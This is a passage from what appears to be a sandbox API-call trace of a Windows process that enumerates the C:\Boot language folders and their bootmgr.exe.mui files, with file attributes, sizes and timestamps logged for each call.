nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.140] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.140] GetLastError () returned 0x12 [0050.140] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.140] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.140] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.140] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0050.140] GetLastError () returned 0x12 [0050.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*" (normalized: "c:\\boot\\ko-kr\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.140] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.140] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.141] GetLastError () returned 0x12 [0050.141] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.141] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.141] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.141] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xce3b5a40, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x795b8, dwReserved0=0x44, dwReserved1=0x44, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0050.141] GetLastError () returned 0x12 [0050.141] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0050.141] GetLastError () returned 0x12 [0050.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*" (normalized: "c:\\boot\\nb-no\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.141] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.141] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.141] GetLastError () returned 0x12 [0050.141] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.141] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.141] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.142] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0050.142] GetLastError () returned 0x12 [0050.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*" (normalized: "c:\\boot\\nl-nl\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.142] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.142] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.142] GetLastError () returned 0x12 [0050.142] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.142] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.142] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.142] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0050.142] GetLastError () returned 0x12 [0050.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*" (normalized: "c:\\boot\\pl-pl\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.142] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.142] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.142] GetLastError () returned 0x12 [0050.142] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.143] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.143] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.143] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0050.143] GetLastError () returned 0x12 [0050.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*" (normalized: "c:\\boot\\pt-br\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.143] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.143] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.143] GetLastError () returned 0x12 [0050.143] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.143] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.143] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.143] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0050.143] GetLastError () returned 0x12 [0050.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*" (normalized: "c:\\boot\\pt-pt\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.143] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.144] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.144] GetLastError () returned 0x12 [0050.144] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.144] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.144] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.144] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0050.144] GetLastError () returned 0x12 [0050.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*" (normalized: "c:\\boot\\ru-ru\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.144] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.144] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.144] GetLastError () returned 0x12 [0050.144] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.144] FindClose (in: hFindFile=0x4d5288 | out: hFindFile=0x4d5288) returned 1 [0050.144] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0050.144] FindNextFileW (in: hFindFile=0x4d28d0, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0050.144] GetLastError () returned 0x12 [0050.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*" (normalized: "c:\\boot\\sv-se\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d5288 [0050.145] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.145] FindNextFileW (in: hFindFile=0x4d5288, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, 